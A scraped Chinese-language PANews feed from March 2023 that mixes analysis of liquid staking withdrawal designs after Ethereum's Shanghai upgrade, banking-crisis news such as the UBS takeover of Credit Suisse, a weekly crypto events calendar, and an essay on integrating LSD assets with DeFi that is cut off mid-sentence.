各LSD协议的提款方案设计存在不确定风险，以太坊上海升级是对PoS机制的完善，也是对LSD协议的挑战。协议需要在用户体验、操作速度和安全性之间进行平衡。整体看以太坊PoS提款流程非常复杂，尤其是各种不同提款协议上的时间分配不同。上海升级之后，各LSD协议可能会因为设计缺陷导致协议被攻击。大部分的提款设计会针对以下两个问题： 1、避免攻击和套利行为：主要是LST代币与ETH的协议兑换和二级市场可能存在价格波动进行套利，降低协议APR。如何满足协议有足够ETH供用户赎回等。 2、在设置提款门槛的时候又能提高用户体验，尤其是用户等待时间。 3.2.1 Lido Lido v2版本已经通过社区投票。Lido提款设计有两个模式：Turbo和Bunker。Lido为提款建立了一个提款缓冲区，主要由执行层奖励、提款ETH和用户抵押ETH，3部分构成。上海升级后，Lido会有20w个ETH可以被立即提取（不需要走退出验证节点流程），这部分可以被用于缓冲区的建立。 Turbo模式：一旦有足够的ETH，协议会满足提款请求。请求时间在1小时-3/4天不等，根据缓冲区是否有足够ETH，等待时间不定（需要验证者节点退出）。 Bunker模式：如果Lido验证者节点出现大范围罚没，即触发该模式，需要等到被罚没节点退出后，能够预测损失，从而将损失分摊给用户。并且要确保stETH:ETH的赎回计算可以准确进行。这个模式下，提款可能需要36天以上的时间。 用户的提款请求进入队列后，用户可以获得一个NFT，这代表了其在请求提款队列的位置。该NFT可以在二级市场进行交易，愿意出价的用户可以购买位置靠前的NFT。如果ETH价格在4月波动大，这种二级市场可以有很多玩法。在请求期间如果出现罚没，队列中用户也要均摊被惩罚比例。但处于队列中的stETH提款请求是没有奖励的，这也是为了避免恶意套利攻击。 除了以上设计之外，为了避免攻击和套利出现，Lido提款还有其它要求，比如提款请求不能取消，请求的赎回率不能优于创建请求时的赎回率等。 3.2.2 Rocket pool Rocket Pool引入了minipools，降低了验证者的资本要求，只需要17.6个ETH就能运营一个minipools，而当撤销池子时，验证者的资金将会首先发生损失，使rETH的持有者得到110%的保险。 对于提款要求，Rocket Pool设计了一个存款池，rETH的赎回可以从存款池和部分提款来提供ETH，rETH也可以从二级市场低价折换成ETH，这对minipools运营商是一个套利机会，因为其可以从二级市场上购买折扣价的rETH，并利用Rocket Pool的燃烧机制退出minipools，从而保证rETH:ETH=1:1的汇率。所以，Minipools的运营商可以自主选择是否退出或提取奖励，这完全由市场行为决定。 对于Rocket Pool来说，提款流程并不复杂，运营商只需要撤销minipools即可，但重要的是提高协议存款池的流动性，让rETH能够顺利赎回。在以太坊合并时，Rocket Pool协议很好得处理了合并，而Lido协议的节点运营商之一经历了停机。所以，在应对上海升级的提款流程中，Rocket pool会表现得更好。Rocket Pool推出的Atlas升级将会降低成为验证者的门槛，进一步推动rETH的流动性和RPL的币价。 3.2.3 Frax Finance 用户把ETH交由Frax进行质押，frxETH并不会累积质押奖励，而是在协议内1:1赎回ETH。为了要获得质押奖励，用户需要把frxETH再次存入协议并得到sfrxETH。所以Frax的赎回并不会受到上海升级的影响，更重要是考虑协议是否能提供足够的ETH进行赎回。尤其是在Frax无法再基于更高收益吸引用户的时候，可能会有大量赎回。 图9. frxETH APY & TVL （来源：Defillama） 3.2.4 StakeWise StakeWise提供的流动性质押服务与Lido类似，不同的是，StakeWise新升级V3版本用以应对中心化验证者的风险，但该版本还未上线。StakeWise的质押有两种机制：Pool和Solo。Pool机制是给任何ETH持有者参与的质押池，Solo机制是给每个拥有32个 ETH的用户提供的非托管质押服务。 在退出机制上，Pool机制的用户需要在上海升级之后，才能在协议内销毁 sETH2 和 rETH2，并以 1:1 的比例获得 ETH 作为回报。在上海升级前有二级市场能够交易sETH2 和 rETH2这两种质押衍生代币。Solo用户在上海升级前可以选择自愿退出，余额无法访问且无法重新进入质押，上海升级后选择自愿退出，费用将继续累计直至完全退出，大约需要几天时间。 上海升级对LSD协议产生的影响主要有三个方面： 一旦用户能够重新选择质押协议，新一轮的以太坊质押又开始重新洗牌。而且，新的LSD协议或者基于质押的机制将会推出，比如基于DVT技术的应用和EigenLayer的再质押概念，这些很可能会有更好的收益。对于大多数 ETH 质押者来说，上海升级后，他们可以改变最初决定的质押方式和对象，整个以太坊质押的市场份额重新分布。 在提款设计流畅性、质押收益、无许可、安全性上，用户会考虑更多的流动性质押协议。除Lido之外，Rocket Pool可能是上升最快的LSD协议，可以重点关注其minipools在上海升级后建立的数量以及其币价走势。尤其是它在Atlas升级，在提款设计、奖励系统和可扩展性上都有所涉及。 现在已经出现基于LSD的指数代币。比如，Gitcoin与Index Coop合作推出了gtcETH的新以太坊质押指数代币。目的是为用户提供一个从各种流动性质押服务中获得混合收益的地方。同时，有助于促进多种LSD，进一步分散以太坊。除此之外，还有更多的DeFi应用将会诞生： 利用LST来铸造新的衍生品； 锚定ETH的收益率的期货产品； 基于质押ETH出现的稳定币项目。以太坊质押解锁也可能为借贷协议带来增量，很多文章已经分析了再质押带来的可能性高收益。  ( 6 min )
    美联储联手多国央行加强美元流动性供给
    PANews 3月20日消息，据新华财经引援美联储官方网站当地时间19日新闻稿，加拿大央行、英国央行、日本央行、欧洲央行、美联储和瑞士央行宣布了一项协调行动，通过美元流动性互换安排加强流动性供给。 为提高互换额度美元资金供给的有效性，目前提供美元操作的央行已同意将7天到期操作的频率从每周增加到每天。这些日常操作将于2023年3月20日（本周一）开始，并将至少持续到4月底。 这些央行之间的互换额度网络是一套可用的常备工具和缓解全球融资市场压力的重要流动性保障，从而有助于减轻这种压力对家庭和企业信贷供应的影响。  ( 4 min )
    瑞银以33亿美元收购瑞信，瑞士央行将提供1000亿瑞士法郎的流动性援助
    PANews 3月20日消息，据彭博社报道，瑞士银行将以30亿瑞士法郎(33亿美元)的全股票交易方式收购其瑞士信贷。瑞士央行将向瑞银提供1000亿瑞士法郎的流动性援助，政府将为瑞银收购的资产可能发生的损失提供90亿瑞士法郎担保。瑞士金融市场监管局FINMA表示，约160亿瑞信债券将变得毫无价值。鉴于瑞信是一家系统重要性银行，瑞士央行行长Thomas Jordan周日晚间在新闻发布会上表示“必须迅速采取行动，尽快找到解决方案”。美联储、美国财政部和欧洲央行都对这项交易表示欢迎。瑞银董事长Colm Kelleher表示，他将缩减瑞信投行部门规模，该部门近年来亏损不断。 作为瑞银收购的一部分，瑞士信贷已将其额外一级债券减记至零，这激怒了一些认为他们会在救助交易中得到更好保护的债券持有人。这些债券是一种比传统债券风险更高的债务类型，名义价值为160亿瑞士法郎。  ( 4 min )
    一周预告 | Layer 2项目Arbitrum将发放空投；以太坊将在Goerli测试网验证上海升级
    要闻预告： 以太坊 Layer 2 扩展解决方案 ImmutableX 将于北京时间 3 月 21 日凌晨公布2 项重大更新。 在“上海”升级正式执行之前，以太坊还将在Goerli测试网上再安排一次模拟，也是最后一次测试网验证，预计会在3月21日进行。 Layer 2 项目 Arbitrum 将于 3 月 23 日向其社区成员空投代码为 ARB 的治理代币。 香港金管局下周将在香港举办两个金融监管界国际会议：3月22日至23日将举办巴塞尔银行监管委员会（BCBS）会议，3月24日与国际结算银行（BIS）合办研讨会，议题涉及加密货币未来发展等问题。 PANews PARTY AWARD 2023的评选与投票活动将于3月23日截止，其最终评选结果将于3月28日公布。 更多一周预告请点击下载PANews APP，关注PANews推出的事件日历活动板块，在PANews随时随地阅读更多区块链即时快讯和深度好文。 3月20日 项目动态： 美国法官拒绝暂停Binance.US收购Voyager资产，交易已延长至3月20日 美国纽约南区法官Damian Williams在周三提交给法院的文件中裁定，Binance.US出价10亿美元收购Voyager的资产的交易应该继续进行，这驳回了美国政府暂停诉讼等待上诉的请求。 美国检察官Damian Williams辩称，该交易应该被修改或取消，因为它试图有效地免除Voyager及其员工违反税法或证券法的责任。但Williams表示，他之前批准的交易并没有做到这一点，等待更长时间会损害Voyager客户的利益，他们自2022年7月宣布破产以来一直无法使用他们的加密货币。Williams写道，政府文件“夸大并在某些地方错误描述了我的所作所为和我所依赖的权威。”。 治理投票： 稳定币聚合协议mStable将从3月20日起进行社区投票来决定被收购或停止运营 稳定币聚合协议mStable社区发起MIP-30提案以决定其未来发展路径，选择包括被dHEDGE或Origin Protocol收购、与Spool DAO或Idle Finance合并、停止mStable产品运营。该提案将于3月20日进行投票，投票窗口期为5天。 3月21日 项目动态： 以太坊Layer 2扩展解决方案ImmutableX将于3月21日凌晨公布两项重大更新 据 ImmutableX 官方网站及推文内容显示，以太坊 Layer 2 扩展解决方案 ImmutableX 将于未来 2 个月公布 4 项重大更新，其中 2 项升级将于北京时间 3 月 21 日凌晨公布。官方表示该更新系 IMX“史上最大一次代币效用升级，将永久改变 IMX 的基础”。 Aztec Network开始逐渐关闭，从3月21日起将停止存款 以太坊二层隐私解决方案Aztec Network在官方博客中宣布，DeFi隐私桥项目Aztec Connect将逐步关闭，用户将继续能够在一年内免费取款。Aztec Connect的排序器（Sequencer）将慢慢减少退出的rollup总块的频率，最终退出日期大约为2024年3月21日。 具体安排如下：1.3月13日至3月21日，Aztec Connect正常运行；2.北京时间3月21日22:00起，存款将被禁用；3.一年时间的提现窗口：2023年3月13日- 2024年3月21日；4.2024年3月21日：从Aztec排序器发送的最后一个Aztec rollup；5.2024 年3月21日起：用户将不得不运行提现软件或依赖社区运行的测序仪。该项目团队称，虽然提款始终是可能的，但在2024年3月21日之后，提款的费用将明显增加，因此建议用户尽快提款。 以太坊Sepolia测试网已成功模拟“上海升级”，3月21日或将进行Goerli测试网验证 以太坊Sepolia测试网已成功完成实施模拟“上海”硬分叉升级，包括处理了ETH提款，据悉相关交易在北京时间2月28日12:04开始，并于12:17完成（本次Sepolia是验证者数量最少的一个测试网）。据悉，在“上海”升级正式执行之前，以太坊还将在Goerli测试网上再安排一次模拟，也是最后一次测试网验证，预计会在3月21日进行，但由于此安排，以太坊主网的“上海”升级或许将会被推迟到四月份。 治理投票： Starknet DAO将于3月21日开启治理投票，以决定Alpha v0.11.0升级 Starknet DAO 将开始去中心化治理进程，社区将首次投票批准是否启动其最新的协议升级 Starknet Alpha v0.11.0。DAO 选择 3 月 21 日作为升级投票期的开始，投票将通过 Snapshot 进行，预计需要六天时间才能完成。如果投票通过，随后将启动主网。Starknet 计划的协议升级将在投票进行期间在 Goerli 测试网上启动。 3月22日 交易所： 币安将于3月22日恢复部分BTC手续费和BUSD挂单手续费 币安宣布将于2023年3月22日8:00起，用户仅在BTC/TUSD现货交易对交易BTC时，可继续享受零挂单和吃单手续费。BUSD零挂单（Maker）手续费活动将不再包括BNB/BUSD、BTC/BUSD和ETH/BUSD现货和杠杆交易对。币安还将恢复用户对应的VIP等级费率于BTC/AUD、BTC/BIDR、BTC/BRL、BTC/BUSD、BTC/EUR、BTC/GBP、BTC/RUB、BTC/TRY、BTC/UAH和BTC/USDT现货和杠杆交易对，以及BNB/BUSD和ETH/BUSD现货和杠杆交易对。 Bitget将在创新区首发上线IPOR，北京时间3月22日下午3点开放充值 IPOR Labs是链上利率衍生品服务提供商，其IPOR（Inter-Protocol Overblock Rate）协议于去年8月在以太坊主网上线。 项目动态： 链游Axie Infinity的Homeland Season 1将在3月22日结束 2月22日，链游Axie Infinity启动Homeland Season 1，该赛季将持续至3月22日。本赛季期间，Axie Infinity将举行地块设计比赛，并依据创造力、和谐度等进行评分。此外，本赛季添加了组队功能，并对升级速度、Boss强度和能量恢复速度等游戏机制进行了改动。 去中心化域名协议 SPACE ID 宣布推出治理代币 ID，代币分发将在3月22日开始 去中心化域名协议 SPACE ID 宣布推出治理代币 ID，并将在币安 Launchpad 上进行公售，代币分发将于 2023 年 3 月 22 日 18:00 开始。ID 将有质押、支付、治理功能，代币总供应量为 20 亿枚，总供应量的 5% 分配给 Binance Launchpad 参与者，总供应量的 10% 预留给社区空投，21%的社区空投（占总供应量的2.1%）将有资格在币安交易时为所有尝鲜SPACE ID的用户申领。 政策监管： 美CFTC技术咨询委员会将于3月22日讨论DeFi议题 美国商品期货交易委员会（CFTC）技术咨询委员会将在 3月22日召开的开幕会议上讨论DeFi议题，包括网络漏洞、去中心化指标、数字身份和非托管钱包，以审查DeFi等技术优先事项。 3月22日至23日，香港金融管理局将在香港举办巴塞尔银行监管委员会（BCBS）会议 3月23日 项目动态： Arbitrum将于3月23日向其社区成员空投治理代币ARB Layer 2 项目 Arbitrum 将于 3 月 23 日向其社区成员空投代码为 ARB 的治理代币。空投将占代币总供应量的 12.75%，代币将分发给在过去一年中使用过该网络的人。该代币将通过 DAO 控制 Arbitrum One 和 Nova 网络的治理，DAO 将得到安全理事会的支持。ARB 的总发行量为 100 亿枚，空投会将总供应量的 11.5% 分配给 Arbitrum 用户，另外 1.25% 分配给 Arbitrum 生态系统中的 DAO 和 Protocol Guild，这是一个由以太坊开发人员组成的 DAO。大部分供应将进入 Arbitrum 基金会，该基金会将由新成立的 Arbitrum DAO 控制。 政策监管： 欧洲证券和市场管理局 (ESMA) 从3月23日起正式将ISO标准DTI代码用于DLT试点监管制度 欧洲证券和市场管理局 (ESMA) 已推荐 ISO 标准数字令牌标识符 (DTI) 代码用于其分布式账本技术 (DLT) 试点监管制度，该制度将于 2023 年 3 月 23 日生效。该试点建立在现有的 MiFIR 基础上包括代币化金融工具的法规。ESMA 声称，这将提高交易前和交易后的透明度，同时使基于 DLT 的证券受到更严格的市场滥用审查。DTI 基金会是 Etrading Software 的贸易部门，为数字资产和 DLT 提供 ISO 标准识别码。它声称，这允许加强欧盟监管，同时更有效地监控稳定币和数字资产系统性风险。目前，可用于常用交易数字资产的 ISO 标识代码超过 1000 个。 社区活动： 第三届PANews PARTY AWARD年度评选开启投票，将于3月23日截止 PANews PARTY AWARD 2023将于3月2日至3月23日开启评选投票。经数据初选、公开征集及社区推荐，目前已收到了超过190条报名信息，有行业巨头，也有Web3新星，目前参评申请还在继续。最终评选结果将于3月28日公布。PARTY意为PANews' Restropect of The Year (PANews年度致敬)，活动已连续举办三届，吸引了全球Web3创业者和优质项目的参与。本届评选将以“Keep Building (持续建设)”为主题，旨在发现并激励Web3领域中持续建设的真正建设者 (Builder) 。 3月24日 交易所： 币安将下架HNT和WABI，3月24日停止其交易 币安宣布将下架HNT和WABI，3月24日11:00将停止Helium (HNT)和Tael (WABI)的交易。币安将于3月25日11:00暂停HNT的充值业务，3月25日11:00之后的HNT充值将不会上账并不再支持找回。 政策监管： 香港金管局与国际结算银行（BIS）于3月24日在香港合办研讨会，将讨论加密货币未来发展等议题 金管局总裁余伟文介绍，金管局与BIS合办的“在创新时代下与时并进的银行业监管” 研讨会，是香港复常后第一个金融监管界国际会议，将会邀请逾100名央行、监管机构和金融机构领袖出席，讨论与银行业相关的前瞻议题，包括监管机构和银行如何应对瞬息万变的金融环境、加密货币未来发展等。 社区活动： Cronos Labs推出第2批Cronos加速器计划以推进Web3 Dapp开发， 3月24日申请截止 Cronos 生态创业加速器 Cronos Labs 宣布推出第二批 Cronos 加速器计划项目申请，以推进 Web3 Dapp 开发。第二批为期三个月的加速器计划将于 2023 年 4 月 24 日开始，申请截止日期为 2023 年 3 月 24 日，主要专注于 DeFi、GameFi、SocialFi 和基础设施等垂直领域。通过选拔的项目可以获得 3 万美元的 Pre-Seed 投资，并有机会获得后续 30 万美元的种子轮投资。 代币解锁： LooksRare ( LOOKS )将在3月24日解锁价值230万美元的代币 3月25日 项目动态： Otherside元宇宙活动2nd Trip或将在3月25日上线，Otherdeeds NFT持有者将有机会参与 Yuga Labs在博客中宣布Otherside元宇宙平台的Otherside:2nd Trip活动暂定于3月25日上线。Voyagers（航海者）将能Trip（旅行）开始前15分钟进入体验，Otherdeeds NFT持有者将有机会参加2nd Trip，前提是他们在主要故事开始之前准时到达体验，2nd Trip可以通过邀请参与，未来几周将提供更多关于Guest Pass(访客通行证)如何运作的细节。一旦2nd Trip达到容量，玩家将无法再加入体验。航海者将优先于访客通行证进入体验。参与链接将于当天发布。参加2nd Trip的旅行者将有资格获得第一次FIRST TRIP Obelisk碎片。 代币解锁： Immutable X ( IMX )将在3月25日解锁价值1920万美元的代币  ( 7 min )
    DefiLlama团队因是否发行代币而决裂，创始人已推出分叉版本网站
    PANews 3月19日消息，链上分析平台DefiLlama创始人0xngmi发推表示，DefiLlama团队因是否发行代币而决裂，目前创始人已推出分叉版本网站Llama.Fi。据悉，控制Defillama推特账户和域名的人决定发行代币，而团队其他人反对。0xngmi提醒用户不要相信来自DefiLlama的任何消息和代币。 此前DefiLlama官方发推称，其推出的DEX聚合器下一步将准备许可证、集成Gnosis链和历史交易记录，并暗示可能为贡献者和用户空投。 相关阅读：DefiLlama“分家”始末：理想敌不过“面包”，权威数据网站发币真的靠谱吗？  ( 4 min )
    PA图说 | 一图掌握以太坊上NFT关键数据（2023.03.19）
    NFT日报全新升级，增加更多新维度，NFT交易时可更全面细致参考！ PANews APP 2.0全新升级，带你挖掘热门NFT，捕捉参与机会，点击此处下载PANews即可体验。  ( 4 min )
    FTX将衍生品交易平台LedgerX的拍卖日期修改至4月4日
    PANews 3月19日消息，据The Block报道，FTX将旗下衍生品交易平台LedgerX的拍卖日期由3月22日修改至4月4日。据悉，这是第二次修改拍卖日期，拍卖地点为Sullivan & Cromwell办公室，销售听证会将于4月12日举行。中标人的通知应在拍卖结束后的一个工作日内发出。 此前消息。FTX请求法院批准出售LedgerX等四家子公司。  ( 4 min )
    瑞银提出以最高10亿美元的价格收购瑞信
    PANews 3月19日消息，据英国金融时报报道，瑞银提出以最高10亿美元的价格收购瑞信。因急于在周一之前敲定交易，瑞士当局正计划修改该国法律，绕过股东对该交易的投票。据知情人士表示，周日上午双方就收购要约进行了沟通，瑞银提出以每股0.25瑞郎的价格收购瑞信的股票，以瑞银的股票支付，该价格远低于瑞信上周五1.86瑞郎的收盘价。  ( 4 min )
    数据：比特币Ordinals NFT铸造量超50万枚
    PANews 3月19日消息，据Dune数据显示，使用Ordinals铸造的NFT数量约52.2万枚，单日铸造量最高为31692枚，所花费用合计超过266万美元。  ( 4 min )
    数据：2022年美国公民因加密投资诈骗损失达25.7亿美元
    PANews 3月19日消息，据CryproPotato报道，美国联邦调查局发布的一份报告显示，2022年美国公民因网络欺诈损失超100亿美元，其中加密投资诈骗损失达25.7亿美元。相比2021年，加密投资诈骗损失为9.07亿美元。其中，受害者年龄主要分布在30至49岁，最常见诈骗方式是引诱用户将他们的钱包与欺诈性流动性挖矿应用程序相关联，从而窃取他们的资金或黑掉他们的社交媒体账户。  ( 4 min )
    Avalanche上Aave V3市场已解冻
    PANews 3月19日消息，Avalanche上的Aave V3市场已解冻。此前受USDC脱锚事件影响，Aave产生了30万美元的不足额清偿，DeFi风险管理器Gauntlet建议暂停市场，以降低损失风险。  ( 4 min )
    美国参议员：呼吁对硅谷银行和Silvergate银行的倒闭进行调查
    PANews 3月19日消息，据华尔街日报报道，美国参议员Elizabeth Warren（伊丽莎白·沃伦）呼吁对硅谷银行和Silvergate银行的倒闭进行调查。在沃伦周日向财政部、联邦存款保险公司和美联储的监察长的致信中，她敦促监管机构在这两家银行本月倒闭之前，对它们的管理和监管进行审查，初步调查结果要在30天内公布。沃伦表示，银行高管必须为银行的倒闭负责。  ( 4 min )
    Coinbase前CTO：BTC将在90天内触及100万美元
    PANews 3月19日消息，据Bitcoinist报道，Coinbase前首席技术官Balaji Srinivasan在推特上表示，他愿意与金融专家James Medlock打赌，如果90天内BTC没有触及100万美元，对方将获胜，并获得1枚BTC和100万美元的USDC；如果BTC在90天内触及到100万美元，那么他获得1枚BTC和100万美元USDC。 Balaji认为，当前的银行业形势类似于2008年的金融危机。在这次银行业危机中，各国央行、银行和监管机构等表现欠佳，银行业危机超出了部分准备金的范围，银行没有足够的资金来应对提款。Balaji还表示，当前的银行业危机将导致所谓的“超级比特币化”，类似于20世纪之前使用的实物黄金模型。他补充说，个人、公司和主权国家等大型基金将在未来几周内购买比特币，以对冲恶性通货膨胀。  ( 4 min )
    消息人士：硅谷银行英国子公司向员工发放数百万英镑奖金
    PANews 3月19日消息，据Cointelegraph援引匿名人士报道，硅谷银行英国子公司向员工和高管发放数百万英镑的奖金，总额在1500万至2000万英镑之间（约合1826万美元至2435万美元）。据悉，发放奖金是为了兑现“先前商定的付款”，以“留住核心员工”。此前天空新闻援引消息人士报道，汇丰英国银行以1英镑的价格收购了硅谷银行英国子公司。  ( 4 min )
    上海升级之后，LSD与DeFi整合将成为主流叙事？
    撰文：Kylo@Foresight Ventures LSD 全称为 Liquidity Staking Derivatives，即流动性质押衍生品，更具体的是 stETH、rETH 等资产。LSD 本质上属于 Yield Bearing Assets 这一资产类别。由于 ETH 2.0 以及上海升级带来的关于 ETH 质押产品的利好，LSD 单独作为一个赛道进入人们视野。事实上，所有带有收益的票据，如 LP token 等都属于 Yield Bearing Assets，而且这一资产类别的总市值远远超过现货。但上个 DeFi 周期里针对 Yield Bearing Assets 的衍生品开发并没有到一个可观的量级，主要原因在于其种类繁多，但单一品类的市值却又很低。 与 Yield Bearing Assets 相关的衍生品市场面临着流动性的割裂以及过小的市场规模。 LSD 资产是 Yield Bearing Assets 中最大的资产类别，其在上个周期里的发展叙事主要在于资产生成端，即开发各种流动性质押协议，生成不同的 LSD 资产，而不在于对 LSD 本身进行各种应用场景的拓展。上海升级会推动 LSD 赛道的基本面的变化，主要在于两点： 目前以太坊质押率约为 15%，按照以往 POS 公链的质押率估计，以太坊质押率在未来几年将上升至至少 30%，即在可以预计的范围内，仍然有约 1800 万枚 ETH 待质押，其中至少约有 1/3 的 ETH 会采用流动性质押的方式。 LSD 资产规模的增加将会为针对 LSD 的衍生品带来充分的市场空间。 充分的市场空间意味着充分大的市场规模，LSD 资产价格的稳定则意味着其具有更广阔的使用场景。 上海升级前存入信标链的 ETH 无法取回，LSD 的市价依赖于二级流动性池的定价。这种定价方式在遭遇极端行情时会使得 LSD 资产面临着大幅度的折价。但当 LSD 有了更多退出流动性的方式，其市价也就更加稳定。 在 LSD 与 DeFi 生态的整合上，曾经适用于 Yield Bearing Assets 的处理方法仍然适用于 LSD 赛道，这种整合方式利用的主要是 LSD 作为生息资产的属性，具体而言包括： 作为抵押品是 Yield Bearing Assets 最常见的用例，用户可以通过这种方式获取杠杆。对于机构而言，利用 AAVE V3 的高效抵押借贷可以实现关于 ETH staking 的循环收益，具体的方式是通过 stETH 循环贷实现。但循环贷能够获利的前提是 ETH 的借贷成本低于 ETH staking 的收益。由于上海升级后 ETH staking 收益率将成为链上的基准利率之一，DeFi 内的借贷成本可能也会随之相应增加。基准收益率的变动将深刻地影响 DeFi 的发展模式。目前 AAVE 的 ETH 借款利率为 4-5%，已经非常接近 ETH staking 收益率。借款利率与 staking 收益的趋同可能导致循环贷不再具有吸引力。 至于 ETH staking 收益率如何深刻影响 DeFi 的发展模式，笔者认为主要影响在于两点： 值得讨论的是利差套利。回顾上个周期的 Web3 发展史，每个大赛道的崛起似乎都与套利相关。DeFi 最初的发展归根结底来自于 DeFi 与 CeFi 的利差套利；GameFi 的发展来自于全球薪资水平的套利；Hooked Protocol 等流量协议的兴起来自于全球流量价格的套利…… 下一个套利叙事存在的点可能就是下个周期 Web3 的大规模增长点。但就 DeFi 的利差套利而言，上个周期的野蛮疯长的模式已经过去，CeFi 资金需要寻找另外一个可以套利的场景。随着 DeFi 的发展，目前链上的基准利率可以通过 ETH Staking 收益率来确认。因此现实世界的资金存在着获取链上基准收益和链下基准收益的选择。这种就链上链下基准利率的差异激发的套利模式很可能使得链上资管产品形态发生一定程度的变化。 链下基准收益一般被认定为美联储利率，这意味着当美联储利率低于链上基准收益率时，基于套利原则 CeFi 资金将会进入链上进行 ETH staking ，引发下一波由套利行为激发的 DeFi 叙事。 关于 Yield Bearing Assets 本息分离相关的产品，不得不提 Element Finance 、Pendle Finance 和 Sense Finance 。链上本息分离常用的方式在于将一份浮动利率 Yield Bearing Assets 分割成零息债券以及未来收益的折现，以 Pendle Finance 的 stETH pool 为例，其设计原理在于将 stETH 作出分割，分为 Principal Token 和 Yield Token。Principal Token 为零息债券，Yield Token 则为带浮动利率的子产品。分割式满足：1 stETH -> 1 PT stETH + 1 YT stETH。 上式表示的是数量关系而不是价值关系，即左右两边的市场价值可能是不相等，因此在流动性不佳时套利机会是经常存在的。在存续到期后 PT stETH 可以以 1:1 换成 stETH，YT stETH 也可以直接换取 1 ETH 质押产生的收益（PT stETH 为 1 ETH 满足一定收益率的零息债券，YT stETH 则为 1 ETH 质押可能产生的未来收益的折现）。零息债券的价格本质上与收益率一一对应，因此当市场对于 PT stETH 的需求产生波动时， PT stETH 的价格就会产生相应的波动，从而使得隐含收益率处于一个变化中的状态。 YT stETH 这类的付息产品一般有两种形式：第一种是定期付息，最后该产品的价值缩减为 0；第二类是每期该付的利息全部积攒到该产品中，到期后一并赎回。上述两种模式在提供流动性时完全是两种逻辑。AMM 做市对于减值为 0 的资产做市具有先天的劣势，LP 面临着严重的无常损失。因此常用的附息方法是第二种，到期利息全部赎回，主要目的是方便后续做市。AMM 池也是搭建在 Balancer 上，主要原因在于 Balancer 池中的 Composable stable Pool 设计可以在 YT token 单向增值的过程中降低无常损失。 基于上述基本机制，本息分离协议可以提供三种产品：利率互换产品、杠杆产品、固定收益产品。对于 Principal Token 的买方而言，买入 Principal Token 相当于买入零息债券，收益率由买入价决定，此 Principal Token 就是固定收益产品。我们所以为的折价购买标的现货其实就是购买了该现货的零息债券；对于 Principal Token 的卖方而言，其相当于出售了自己的固定利率产品（零息债券）以换取流动性。这部分流动性可以投入到其它浮动利率产品，相当于将手中的固定利率产品（Principal Token）换成了浮动利率产品（例如投入机枪池），完成了利率互换的过程。利率互换本质上是用户风险的互换，固定利率卖方希望得到超额风险收益，而固定利率买方则希望锁定未来收益。 利率杠杆产品的意思是用户可以利用 YT token 获得 Yield Bearing Assets 利率变动过程中的收益，并且消除 Underlying Assets 自身的价格波动。举个简单的例子，用户 A 有 1 个 ETH，并将其存入 Lido 获取收益 ETH staking 收益。其预估 ETH 的质押收益将在未来长期高于 10%。因此他希望尽可能利用链上的杠杆工具去增加自己对于 ETH 质押的利率敞口。那么利用本息分离协议其可以在无清算风险的情况下扩大自己的杠杆。具体的实现步骤如下： 这个过程有着明显的优势，它抹掉了UnderlyingAssets 本身的价格风险，让用户的风险敞口仅面向利率部分，多重风险被缩减到了一个维度。但通过 Yield Token 构造的上述策略只能看涨浮动利率，对于浮动利率的看跌场景则无法适用。 是否存在做空 ETH staking 利率的产品呢？在关于 《Perpetual DEX: LP 产品化的进击之路》中提到了 GNS 模式。该模式对于利率永续合约产品也极为合适。由于清算和结算都非常迅速，GNS 模式支持高倍杠杆，因此可以适用具有微小变动的利率市场。利率永续产品的出现在后来可能会延展出更复杂的链上衍生品策略。 上海升级带来的 LSD 价格的稳定性意味着该资产有机会成为链上 ETH 的替代品，其硬通货属性会在链上给予 LSD 资产类似于 Curve 的 3crv lp 和 Balancer 的 bb-a-USD 一样的流动性属性。 一般情况下生息资产难以流通，流动性资产又难以生息。LSD 资产、3crv lp 以及 bb-a-USD 完美的融合了这两个看似矛盾的资产类别。在上个 DeFi 周期里，3crv lp 和 bb-a-USD 作为稳定币流动性的补充广泛应用于各种 DeFi 协议，比如稳定币协议在维持其稳定币流动性时通常也会选择 3crv lp 和 bb-a-USD 作为流动性资产。这意味着与上述资产类似的 LSD 也会成为各种 DeFi 协议提升自己流动性需要吸引的重要的资源。 但为何 3crv lp 和 bb-a-USD 资产并没有引起广泛关注？原因可能在于以下几点： 然而 LSD 资产的市值规模、细分种类以及稳定收益率远远超过 3crv lp 以及 bb-a-USD。因此其在 DeFi 生态里会有更为广阔的使用空间。另外散户接触 LSD 的门槛并不高，其用户群体也更加丰富。 作为一项重要的流动性资源，LSD 将继承 3crv lp 和 bb-a-USD 的使命，成为链上流动性池的必备资产。这意味着 LSD 的吸储以及分发将成为 LSD 赛道很重要的一环。 吸储需要构造各种场景，简单的场景在于搭建收益聚合器，更复杂的则是构造各种旁式的设计；吸储完成后，LSD 资产在不同 DeFi 协议的分发则又是一个方向，分发的方式可以基于高收益，也可以基于治理权，不同的设计则会出现不同的产品形态。 在 LSD 与 DeFi 协议的整合上需要考虑协议之间的可组合性。DeFi 可组合性的机制设计本质上是收益在不同协议之间的流动。目前 LSD 资产的主要收益来源包括： 这三个收益来源其实也反映了 LSD 资产的两个属性: ETH staking 收益是生息属性，而对于 LSD 资产的流动性激励和 swap fee 本质上是 LSD 的流动性属性。 LSD 的生息收益是存在差异的，主要在于该 LSD 资产类别背后的验证者节点的稳定性差异。 以 stETH 和 rETH 为例，由于 stETH 背后的节点运营商都是经 Lido 筛选过的专业节点运营商，这意味着其获取 ETH staking 收益具有较强的稳定性。相比而言，Rocket Pool 并没有将节点的运营全部托管给专业化节点运营商而是支持个人搭建节点。个人节点的稳定性面临着很多不可控因素的限制，这样导致的结果是 rETH 的年化收益低于 stETH 约 1%。 LSD 生息收益的差异是由于其对于硬件设备的不同处理方式决定的，但 LSD 资产的流动性收益则依赖于其整合进 DeFi 的方式，其中最经典的在于 Frax 的天平模型。 当用户利用 Frax 进行 ETH staking 后，其会收到与 ETH 1:1 锚定的 frxETH。用户单纯持有 frxETH 则不会产生任何收益，其获取收益的方式有两种： 相当于 Frax 构造了一个天平，天平的一端是 ETH staking 收益，另一段是 LP 收益。 由于 frxETH 持有者只有上述两种获取收益的方式，Frax 调整第二种方式的收益率可以很有效的引导用户行为。当 frxETH 的流动性不足时，Frax 官方只需要调高该 LP 池的收益即可。此外由于 Frax Finance 通过 Convex Finance 持有了大量 Curve gauge 的投票权，其可以通过增加对于 frxETH - ETH lp 池的投票权重增加 LP 的收益而不用付出额外的成本。 Frax 这种「空手套白狼」的模式只能适用于拥有大量贿选选票的协议，而对于类似于 Lido 的流动性质押协议，其维持 LSD 资产的流动性则需要进行平台币的补贴。这也就因此造成了一个生态缺口，该缺口由两个因素催生： 目前对于 Curve 拥有治理权的流动性质押协议只有 Frax 和 Yearn 